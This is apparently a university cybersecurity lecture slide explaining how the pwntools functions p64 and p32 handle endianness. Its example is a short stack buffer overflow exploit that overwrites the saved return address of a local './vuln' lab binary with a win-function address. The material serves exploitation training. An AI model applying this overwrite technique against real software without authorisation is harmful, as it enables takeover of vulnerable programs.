WCU / Cybersecurity
~/CSC 472/Class 02/KP 17
Class 02 · KP 17 / 23

pwntools: p64 / p32 Handle Endianness

from pwn import *

context.arch = 'amd64'          # sets 64-bit, little-endian

win_addr = 0x0000555555555189
payload  = b'A' * 72            # fill buffer + saved RBP
payload += p64(win_addr)        # overwrite saved return address
# p64(0x...189) -> b'\x89\x51\x55\x55\x55\x55\x00\x00'

io = process('./vuln')
io.sendline(payload)
io.interactive()

# 32-bit targets: context.arch = 'i386' ; use p32(addr)
Key Takeaway

p64/p32 pack an integer into correctly ordered bytes; u64/u32 unpack leaked bytes back into an integer.